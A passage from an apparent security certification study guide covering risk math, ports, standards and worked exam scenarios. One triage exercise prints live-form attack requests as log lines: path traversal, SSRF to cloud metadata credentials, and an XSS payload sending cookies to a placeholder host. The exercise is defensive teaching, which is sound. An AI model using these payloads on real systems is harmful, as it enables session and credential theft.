  *(Any $\text{CPI} < 1.0$ means the project is **over budget**; any $\text{SPI} < 1.0$ means the project is **behind schedule**.)*
* **Database ACID, Two-Phase Commit (`2PC`) & Crash Recovery**:
  * **ACID**: **Atomicity** (all-or-nothing), **Consistency** (referential/schema integrity preserved), **Isolation** (concurrent transactions do not interfere), **Durability** (committed changes survive crashes via Write-Ahead Logging).
  * **Two-Phase Commit (`2PC`)**: Coordinates distributed database writes across nodes using **Phase 1 (Prepare / Vote)** and **Phase 2 (Global Commit or Global Rollback)**.
  * **Crash Recovery**: **Rollback (`UNDO`)** applies transaction-log **before-images** to reverse uncommitted in-flight transactions; **Rollforward (`REDO`)** applies transaction-log **after-images** to a restored backup to replay transactions committed after the last checkpoint.

---

## 6. Worked Multi-Certification Exam Scenarios & Calculations

1. **Quantitative Risk & Safeguard ROI (`SY0-701` / `CISSP` / `CISM`)**: An e-commerce cluster valued at $\text{AV} = \$800,000$ faces a DDoS outage losing $25\%$ of value ($\text{EF} = 0.25$) twice a year ($\text{ARO} = 2.0$). Prior $\text{SLE} = \$800,000 \times 0.25 = \$200,000$; $\text{ALE}_{\text{prior}} = \$200,000 \times 2.0 = \$400,000$. A cloud DDoS scrubber costs $\text{ACS} = \$65,000/\text{yr}$ and lowers $\text{ARO}$ to $0.1$ ($\text{ALE}_{\text{post}} = \$20,000$). Net annual value $= \$400,000 - \$20,000 - \$65,000 = +\$315,000/\text{yr}$ (**Cost-justified: deploy the control**).
2. **BCP/DRP Timeline Validation (`CISSP` / `CISM` / `CISA`)**: A core banking wire system has an executive-approved $\text{MTD} = 6\text{ hours}$ and $\text{RPO} = 15\text{ minutes}$. Reconciling ledger batches after failover requires $\text{WRT} = 2\text{ hours}$. Maximum allowable infrastructure $\text{RTO} = \text{MTD} - \text{WRT} = 6 - 2 = 4\text{ hours}$, requiring a **Hot Site** with $\le 15\text{-minute}$ asynchronous log replication.
3. **EVM Troubled IT Project Audit (`CISA`)**: At month 6 of a 12-month cloud migration, $\text{PV} = \$500\text{k}$, $\text{EV} = \$350\text{k}$, and $\text{AC} = \$500\text{k}$. Here $\text{CPI} = 350/500 = 0.70$ ($30\%$ cost overrun) and $\text{SPI} = 350/500 = 0.70$ ($30\%$ schedule delay), triggering an immediate steering committee re-baseline review.
4. **Small IT Shop Segregation of Duties (`CISA` / `CISSP`)**: An auditor finds a 3-person IT team where the system administrator also deploys application code to production. Because hiring more staff is unfeasible, the mandatory **Compensating Control** is automated immutable activity logging reviewed daily by an independent business manager.

---

## 7. Rapid-Fire Exam Day Checklist & Decision Heuristics

* [ ] **CompTIA (`SY0-701` / `N10-009` / `CS0-003`) Heuristic**: Focus on concrete hands-on implementation—know exact CLI flags (`nmap -sS -sV`, `dig +dnssec`), Windows/Sysmon Event IDs (`4624/4625/4688/1102`, Sysmon `1/3/10`), CVSS vector parsing (`S:C`, `PR:N`), RFC 3227 volatility order (`Registers/Cache -> RAM -> Swap/Network -> Disk -> Archival`), and PQC standards (`FIPS 203 ML-KEM`, `FIPS 204 ML-DSA`).
* [ ] **ISC2 CISSP ("Think Like a Manager / Risk Advisor")**: Always prioritize **1. Human Life & Physical Safety** first, **2. Business Alignment & Governance/Policy** before tactical tech fixes, and **3. Advising the Data/Business Owner** (security advisors do not unilaterally accept business risk or shut down revenue systems unless pre-authorized by the IRP).
* [ ] **ISACA CISM ("The Business-Aligned Security Manager")**: Every security initiative starts with **Business Objectives**, **Risk Appetite**, **BIA**, and a quantified **Business Case** (`TCO/ROI`). Governance belongs to the Board (`EDM`); Program Management belongs to the CISM.
* [ ] **ISACA CISA ("The Independent Third-Line Auditor")**: Preserve **Audit Independence** (Audit Charter), verify facts via **Direct Observation / CAATs** before escalating, expand **Substantive Testing** whenever **Compliance Testing** reveals weak controls, and never confront fraud suspects directly—preserve evidence and escalate to the **CAE / Legal / Audit Committee**.

---

## 8. Comprehensive Port, Protocol & Cryptographic Transport Reference (`N10-009` / `SY0-701` / `CISSP`)

| Port(s) | Transport | Protocol / Service | Security Replacement / Hardening Standard |
| :--- | :--- | :--- | :--- |
| **20 / 21** | TCP | **FTP** (Data / Control) | Cleartext credentials; replace with **SFTP** (`TCP 22` via SSH subsystem) or **FTPS** (`TCP 990` implicit / `TCP 21` explicit TLS). |
| **22** | TCP | **SSH / SCP / SFTP** | Enforce `Protocol 2`, disable root login (`PermitRootLogin no`), disable password auth, use **Ed25519 / ECDSA** keys + bastion jump host. |
| **23** | TCP | **Telnet** | Unencrypted interactive shell; strictly disable and replace with **SSHv2 (`TCP 22`)**. |
| **25 / 465 / 587** | TCP | **SMTP / SMTPS** | `TCP 25` (MTA-to-MTA relay with `STARTTLS`); `TCP 587` (authenticated client submission with `STARTTLS`); `TCP 465` (implicit TLS); harden with **SPF, DKIM, DMARC**. |
| **49** | TCP | **TACACS+** | Device administration AAA; encrypts entire payload body and separates Authentication, Authorization (per-command CLI), and Accounting. |
| **53 / 853 / 443** | UDP / TCP | **DNS / DoT / DoH** | `UDP 53` (standard queries), `TCP 53` (zone transfers `AXFR` & large payloads); sign records via **DNSSEC**; encrypt transport via **DoT (`TCP 853`)** or **DoH (`TCP 443`)**. |
| **67 / 68** | UDP | **DHCP** (Server / Client) | Harden Layer 2 access switches with **DHCP Snooping** (drop `DHCPOFFER` on untrusted ports) paired with **Dynamic ARP Inspection (DAI)**. |
| **80 / 443** | TCP / UDP | **HTTP / HTTPS (QUIC)** | Enforce **TLS 1.3 (`RFC 8446`)** over `TCP 443` or **HTTP/3 (QUIC)** over `UDP 443`, `HSTS` headers, **OCSP Stapling**, and a **WAF**. |
| **88 / 464** | UDP / TCP | **Kerberos v5** (KDC / Passwd) | Requires `< 5 min` NTP clock skew; mitigate **Kerberoasting** (`T1558.003`) using **Group Managed Service Accounts (gMSA)** and AES-256 tickets. |
| **110 / 995** | TCP | **POP3 / POP3S** | Replace cleartext `TCP 110` with implicit TLS **POP3S (`TCP 995`)**. |
| **123** | UDP | **NTP** | Essential for forensic log correlation across UTC timelines; authenticate stratum servers and block `monlist` DDoS amplification. |
| **143 / 993** | TCP | **IMAP4 / IMAPS** | Replace cleartext `TCP 143` with implicit TLS **IMAPS (`TCP 993`)**. |
| **161 / 162** | UDP | **SNMP / SNMP Trap** | Disable **SNMPv1/v2c** (cleartext community strings); mandate **SNMPv3 `authPriv`** (`SHA-256` authentication + `AES-128/256` encryption). |
| **179** | TCP | **BGP** | Exterior Gateway Protocol routing between Autonomous Systems; harden peers with TCP MD5/TCP-AO authentication and **RPKI** route origin validation. |
| **389 / 636 / 3268 / 3269** | TCP / UDP | **LDAP / LDAPS / GC** | Replace cleartext `389` with **LDAPS (`TCP 636`)** or `StartTLS` and enforce **LDAP Channel Binding & LDAP Signing** on Domain Controllers. |
| **445** | TCP | **SMB** (Direct Host) | Block at internet perimeters; mandate **SMB 3.1.1** with **SMB Signing** and **AES-128-GCM/CCM encryption**; disable legacy `SMBv1` (EternalBlue). |
| **500 / 4500** | UDP | **IKEv2 / IPsec NAT-T** | `UDP 500` negotiates IKEv2 SAs; `UDP 4500` encapsulates **IPsec ESP** packets inside UDP headers to traverse NAT gateways seamlessly. |
| **514 / 6514** | UDP / TCP | **Syslog / Syslog-TLS** | Standard `UDP 514` is unencrypted and unacknowledged; use **RFC 5425 Syslog over TLS (`TCP 6514`)** writing to immutable **WORM** storage. |
| **1812 / 1813** | UDP | **RADIUS** (Auth / Acct) | Used with **802.1X EAP-TLS** wireless/NAC; encrypts only the password attribute (legacy ports `1645/1646`); succeeded by **Diameter** (`TCP/SCTP 3868`). |
| **3260** | TCP | **iSCSI** | Block-level SAN storage over TCP/IP; isolate on dedicated storage VLANs and enforce mutual **CHAP** authentication and LUN masking. |
| **3389** | TCP / UDP | **RDP** | Never expose directly to `0.0.0.0/0`; require **Network Level Authentication (NLA)**, RD Gateway / ZTNA proxy, FIDO2 MFA, and RestrictedAdmin mode. |

---

## 9. Authoritative Standards Cross-Reference (`NIST`, `ISO/IEC`, `IETF RFC`, `FIPS`)

| Standard / Publication | Official Title | Core Exam Concept Tested |
| :--- | :--- | :--- |
| **NIST CSF 2.0** (2024) | Cybersecurity Framework 2.0 | **6 Core Functions**: **Govern (`GV`)** (new central cross-cutting function), **Identify (`ID`)**, **Protect (`PR`)**, **Detect (`DE`)**, **Respond (`RS`)**, **Recover (`RC`)**. |
| **NIST SP 800-37 Rev. 2** | Risk Management Framework (RMF) | **7 Steps**: `1. Prepare` $\rightarrow$ `2. Categorize (FIPS 199)` $\rightarrow$ `3. Select (SP 800-53)` $\rightarrow$ `4. Implement` $\rightarrow$ `5. Assess` $\rightarrow$ `6. Authorize (ATO)` $\rightarrow$ `7. Monitor`. |
| **NIST SP 800-53 Rev. 5** | Security and Privacy Controls | Catalog of 20 security and privacy control families for federal and enterprise information systems. |
| **NIST SP 800-61 Rev. 2 / r3** | Computer Security Incident Handling Guide | **4 Lifecycle Phases**: `1. Preparation` $\rightarrow$ `2. Detection & Analysis` $\leftrightarrow$ `3. Containment, Eradication & Recovery` $\rightarrow$ `4. Post-Incident Activity`. |
| **NIST SP 800-63B** | Digital Identity Guidelines (Authentication) | Defines **AAL1** (single-factor), **AAL2** (MFA), and **AAL3** (hardware cryptographic phishing-resistant MFA with verifier impersonation resistance, e.g., **FIDO2/WebAuthn**). |
| **NIST SP 800-88 Rev. 1** | Guidelines for Media Sanitization | Defines **Clear** (overwrite), **Purge** (degauss HDDs / **Cryptographic Erase** for SSDs against lab attacks), and **Destroy** (shred/incinerate/pulverize). |
| **NIST SP 800-115** | Technical Guide to InfoSec Testing | **4 Penetration Testing Phases**: `1. Planning` $\rightarrow$ `2. Discovery` $\leftrightarrow$ `3. Attack (Exploit/Escalate/Pivot)` $\rightarrow$ `4. Reporting`. |
| **NIST SP 800-161 Rev. 1** | Cyber Supply Chain Risk Management (C-SCRM) | Mitigates hardware interdiction, counterfeit components, and dependency attacks via **SBOMs** (`SPDX`/`CycloneDX`), TPM attestation, and UEFI Secure Boot. |
| **NIST SP 800-207** | Zero Trust Architecture (ZTA) | Separates **Control Plane** (**Policy Engine [PE]** + **Policy Administrator [PA]**) from **Data Plane** (**Policy Enforcement Point [PEP]**). |
| **NIST AI RMF 1.0** | Artificial Intelligence Risk Management Framework | **4 Functions**: **Govern, Map, Measure, Manage** to mitigate prompt injection, training data poisoning, Shadow AI, hallucinations, and bias. |
| **NIST FIPS 203 / 204 / 205** | Post-Quantum Cryptography (PQC) Standards | **FIPS 203 (`ML-KEM` / CRYSTALS-Kyber)** for key encapsulation; **FIPS 204 (`ML-DSA` / CRYSTALS-Dilithium)** and **FIPS 205 (`SLH-DSA` / SPHINCS+)** for digital signatures. |
| **ISO/IEC 27001:2022** | Information Security Management Systems (ISMS) | Clauses 4–10 mandatory requirements + **93 Annex A controls** across **4 themes** (*Organizational, People, Physical, Technological*) + **Statement of Applicability (`SoA`)**. |
| **ISO/IEC 15408** | Common Criteria (CC) | Evaluates **TOE** against **Protection Profile (`PP`)** and **Security Target (`ST`)** across **EAL1–EAL7**. |
| **IETF RFC 3227** | Guidelines for Evidence Collection and Archiving | Establishes the forensic **Order of Volatility** (`CPU registers/cache -> RAM -> Swap/Network -> Disk -> Archival media`). |

---

## 10. Additional Worked Practice Problems across All 6 Certifications (Scenarios 5–20)

5. **Subnetting & Host Capacity (`N10-009` / `SY0-701`)**:
   * *Problem*: A security engineer isolates an IoT sensor segment into `10.40.12.128/27`. What are the subnet mask, total usable host IPs, first/last usable host IP, and broadcast address?
   * *Solution*: `/27` leaves $32 - 27 = 5$ host bits ($255.255.255.224$). Usable hosts $= 2^5 - 2 = 30$. Block size is $32$, so the network is `10.40.12.128`, usable hosts span **`10.40.12.129` to `10.40.12.158`**, and broadcast is **`10.40.12.159`**.

6. **Zero Trust Policy Enforcement (`SY0-701` / `CISSP`)**:
   * *Problem*: A contractor authenticates with a valid FIDO2 passkey from a managed laptop, but EDR reports the endpoint's host firewall was disabled 3 minutes ago. In `NIST SP 800-207`, which component evaluates this posture change and which component terminates the active session?
   * *Solution*: The **Policy Engine (PE)** in the Control Plane evaluates the continuous diagnostics feed, revokes trust, and instructs the **Policy Administrator (PA)** to signal the inline **Policy Enforcement Point (PEP)** in the Data Plane to terminate the contractor's micro-tunnel.

7. **CVSS v3.1 Scope Change & Prioritization (`CS0-003`)**:
   * *Problem*: Why does a hypervisor guest-to-host escape vulnerability receive `S:C` (Scope: Changed) in its CVSS v3.1 vector (`AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`), and how does `S:C` affect the Base Score?
   * *Solution*: The vulnerable component is the guest VM interface, but the impacted component is the underlying Ring -1 host hypervisor and all co-tenant VMs. Crossing a security authority boundary sets **`S:C`**, elevating the score to **8.8 (High) / 9.3+**.

8. **Detecting Active Directory Kerberoasting & Golden Ticket (`SY0-701` / `CS0-003` / `CISSP`)**:
   * *Problem*: A SIEM detects Windows Security Event ID `4769` (Kerberos Service Ticket Requested) with Ticket Encryption Type `0x17` (RC4-HMAC) across 40 SPNs within 3 seconds from a single workstation. What attack is occurring, and how is it remediated?
   * *Solution*: **Kerberoasting (`MITRE T1558.003`)**—the attacker requests TGS tickets for Service Principal Names to crack weak service account passwords offline. Remediate by migrating service accounts to **Group Managed Service Accounts (`gMSA`)** (120-character auto-rotated passwords) and disabling `RC4-HMAC` (`0x17`) in favor of **`AES-256` (`0x12`)**.

9. **Memory Forensics Rootkit Detection (`CS0-003`)**:
   * *Problem*: When analyzing a Windows RAM dump in Volatility 3, `windows.pslist` shows 48 processes, whereas `windows.psscan` reveals a 49th process (`svch0st.exe`, PID 3812) with `PAGE_EXECUTE_READWRITE` regions flagged by `windows.malfind`. Why did `pslist` miss PID 3812?
   * *Solution*: The malware used **Direct Kernel Object Manipulation (`DKOM`)** to unlink its `EPROCESS` structure from the doubly linked active process list walked by `pslist`, while `psscan` carved raw physical memory pool tags to expose the hidden process and `malfind` detected injected shellcode.

10. **Web Access Log Multi-Attack Triage (`CS0-003` / `SY0-701`)**:
    * *Problem*: Classify the following three HTTP requests captured in `/var/log/nginx/access.log`:
      * Request A: `GET /report.php?file=..%2f..%2f..%2fetc%2fpasswd HTTP/1.1`
      * Request B: `POST /api/export URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/`
      * Request C: `GET /search?q=<svg/onload=fetch('https://evil.tld/?c='+document.cookie)>`
    * *Solution*: Request A is URL-encoded **Directory (Path) Traversal**; Request B is **Server-Side Request Forgery (`SSRF`)** targeting the cloud instance metadata service (mitigate with **IMDSv2** token hop limit = 1); Request C is **Reflected Cross-Site Scripting (`XSS`)** (mitigate with context-aware output encoding, `Content-Security-Policy`, and `HttpOnly` cookies).

11. **Bell-LaPadula vs. Biba Lattice Enforcement (`CISSP`)**:
    * *Problem*: A system enforces both **Bell-LaPadula** and **Biba** simultaneously. A subject cleared for `(Secret, High-Integrity)` requests access to Object X `(Confidential, High-Integrity)` and Object Y `(Top Secret, High-Integrity)`. Which read/write operations are permitted?
    * *Solution*: For Object X (`Confidential, High-Integrity`), the subject can **Read** (`No Read Up` satisfied; equal integrity satisfies `No Read Down`), but **cannot Write** (`*-Property: No Write Down` blocks writing Secret data to a Confidential object). For Object Y (`Top Secret, High-Integrity`), the subject **cannot Read** (`No Read Up`), but can **Write** (`No Write Down` allows writing up to Top Secret, and equal integrity satisfies `*-Integrity: No Write Up`).

12. **IPsec AH vs. ESP over NAT (`CISSP` / `N10-009`)**:
    * *Problem*: Two branch offices establish an IPsec VPN across an ISP router performing PAT/NAT (`NAPT`). When the engineer configures `IPsec AH` in Tunnel Mode, 100% of packets are dropped by the receiving gateway. Why?
    * *Solution*: **Authentication Header (`AH`, Protocol 51)** computes its Integrity Check Value (`ICV`) over the outer IP header, including the source IP address. When the ISP NAT device rewrites the source IP/port, the AH integrity hash fails. Switching to **IPsec `ESP` (Protocol 50) with `NAT-T` (`UDP 4500`)** resolves the issue and adds payload encryption.

13. **SAML 2.0 vs. OAuth 2.0 / OIDC Selection (`CISSP` / `SY0-701`)**:
    * *Problem*: An enterprise wants workforce employees to log into Salesforce via their corporate Okta IdP in a desktop browser, while also allowing a native iOS consumer app to authenticate customers and call backend REST microservices. Which protocols fit each use case?
    * *Solution*: Use **SAML 2.0 (SP-Initiated)** for browser-based workforce federated SSO into Salesforce; use **OpenID Connect (`OIDC`) + OAuth 2.0 Authorization Code Flow with `PKCE`** for the native iOS app (`id_token` JWT authenticates the user; `access_token` authorizes microservice API calls).

14. **NIST SP 800-88 Media Sanitization in the Cloud & Data Center (`CISSP` / `CISA`)**:
    * *Problem*: A financial institution decommissions 200 Self-Encrypting NVMe SSDs (`SEDs`) from an on-premises SAN that held PCI-DSS cardholder data and also terminates 50 AWS EBS volumes in a public cloud. Can magnetic degaussing be used on either?
    * *Solution*: **No.** Magnetic degaussing only affects magnetic domains (HDDs/tapes) and has zero effect on solid-state flash memory (SSDs) or virtualized cloud storage. On-premises NVMe SEDs must be sanitized via **NIST SP 800-88 Cryptographic Erase (`Purge`)** or physical shredding (`Destroy` to $\le 2\text{ mm}$); cloud EBS volumes use **Cryptographic Erase** (destroying the KMS customer-managed key) plus cloud hypervisor block zeroing.

15. **DevSecOps Pipeline Gate Placement (`CISSP` / `CS0-003`)**:
    * *Problem*: Order the following security tools chronologically from earliest ("Shift Left") to latest ("Shift Right") in a DevSecOps SDLC: `DAST`, `STRIDE Threat Modeling`, `RASP`, `SAST & SCA`, `IAST`.
    * *Solution*: `1. STRIDE Threat Modeling` (Architecture/Design phase) $\rightarrow$ `2. SAST & SCA` (IDE / Git Pull Request commit build) $\rightarrow$ `3. DAST & IAST` (Automated QA / Staging runtime testing) $\rightarrow$ `4. RASP` (Live production runtime self-protection).

16. **COBIT 2019 Governance vs. Management Accountability (`CISM` / `CISA`)**:
    * *Problem*: Following a regulatory audit, an enterprise needs to (a) define its corporate cyber risk appetite and approve the Information Security Charter, and (b) design a vulnerability patch management procedure. Under COBIT 2019, which domain and organizational body owns each?
    * *Solution*: Task (a) is **Governance (`EDM` — Evaluate, Direct, Monitor)** owned by the **Board of Directors**. Task (b) is **Management (`APO` / `DSS`)** owned by **Executive Management / CISO**.

17. **ISO/IEC 27001:2022 Statement of Applicability (`CISM` / `CISA`)**:
    * *Problem*: A SaaS-only software firm with zero physical manufacturing plants seeks `ISO/IEC 27001:2022` certification and wishes to exclude an Annex A physical loading-dock control. How must this be documented?
    * *Solution*: Every control among the **93 Annex A controls** must be listed in the **Statement of Applicability (`SoA`)**, marking whether it is implemented or excluded and recording the formal risk/business justification for excluding the loading-dock control.

18. **Audit Risk, Compliance Testing & Substantive Testing (`CISA`)**:
    * *Problem*: An IS auditor uses **Attribute Sampling** during Compliance Testing of quarterly user access reviews and finds that 18% of terminated contractors retained active VPN tokens (exceeding the 2% tolerable deviation rate). What is the auditor's next step?
    * *Solution*: Because **Compliance Testing** proved internal controls are ineffective (**Control Risk is High**), the auditor cannot rely on the control and must expand **Substantive Testing** (e.g., using **CAATs / Generalized Audit Software** to examine 100% of active VPN accounts and connection logs against HR termination records) to keep **Detection Risk** low.

19. **Database Crash Recovery: Rollback vs. Rollforward (`CISA` / `CISSP`)**:
    * *Problem*: A database takes a full backup at `00:00`, writes a checkpoint at `10:00`, and suffers a power failure at `10:15`. Transaction $T_1$ committed at `10:10`, while Transaction $T_2$ was still uncommitted at `10:15`. How does the DBMS recover?
    * *Solution*: After restoring state, the DBMS executes **Rollforward (`REDO`)** on committed Transaction $T_1$ using **after-images** in the Write-Ahead Log, and executes **Rollback (`UNDO`)** on uncommitted Transaction $T_2$ using **before-images** to restore **ACID Atomicity and Consistency**.

20. **Auditor Discovery of Suspected Executive Fraud (`CISA`)**:
    * *Problem*: While running a CAATs Benford's Law analysis on wire transfers, an IS auditor discovers that the IT Vice President approved 14 fraudulent payments just below the dual-approval threshold. Who should the auditor notify first?
    * *Solution*: Do **not** alert or confront the IT VP. Preserve read-only forensic copies of the CAATs extracts and audit logs under Chain of Custody, and escalate immediately to the **Chief Audit Executive (`CAE`)**, who will notify **Legal Counsel** and the independent **Board Audit Committee**.

## Curated Flashcard Decks & Practice Sets

- **CompTIA Security+ (SY0-701) — General Security Concepts, Cryptography & Security Architecture (Domains 1 & 3)**: [Interactive Deck](https://flashcards.world/flashcards/sets/2dcfb2cd-0f78-43a2-a008-4e11d231a6a2/) | [Markdown (.md)](https://flashcards.world/flashcards/sets/2dcfb2cd-0f78-43a2-a008-4e11d231a6a2.md)
- **CompTIA Security+ (SY0-701) & Network+ (N10-009) — Threats, Vulnerabilities, SecOps & Program Oversight (Domains 2, 4 & 5)**: [Interactive Deck](https://flashcards.world/flashcards/sets/8a518a15-4a8b-4193-ae1b-5d5937a743ec/) | [Markdown (.md)](https://flashcards.world/flashcards/sets/8a518a15-4a8b-4193-ae1b-5d5937a743ec.md)
- **CompTIA CySA+ (CS0-003) — SOC Analysis, Threat Intelligence & Vulnerability Management**: [Interactive Deck](https://flashcards.world/flashcards/sets/173ec731-d8b3-4c7f-a1cc-850921759535/) | [Markdown (.md)](https://flashcards.world/flashcards/sets/173ec731-d8b3-4c7f-a1cc-850921759535.md)
- **ISC2 CISSP (CAT 2024/2025 Refresh) — Security & Risk Management, Asset Security, Network Security & IAM (Domains 1, 2, 4 & 5)**: [Interactive Deck](https://flashcards.world/flashcards/sets/2a59b611-49ba-4b84-a756-4edaef6349d9/) | [Markdown (.md)](https://flashcards.world/flashcards/sets/2a59b611-49ba-4b84-a756-4edaef6349d9.md)
- **ISC2 CISSP — Security Architecture & Engineering, Security Assessment, SecOps & Software Development Security (Domains 3, 6, 7 & 8)**: [Interactive Deck](https://flashcards.world/flashcards/sets/5e8309bf-943d-4b41-a38c-878ec49bfb21/) | [Markdown (.md)](https://flashcards.world/flashcards/sets/5e8309bf-943d-4b41-a38c-878ec49bfb21.md)
- **ISACA CISM & CISA (2024/2025 Blueprint) — Information Security Governance, IT Audit Process & Business Resilience**: [Interactive Deck](https://flashcards.world/flashcards/sets/153031a7-7bbf-488f-a462-ae62e88ed0a9/) | [Markdown (.md)](https://flashcards.world/flashcards/sets/153031a7-7bbf-488f-a462-ae62e88ed0a9.md)
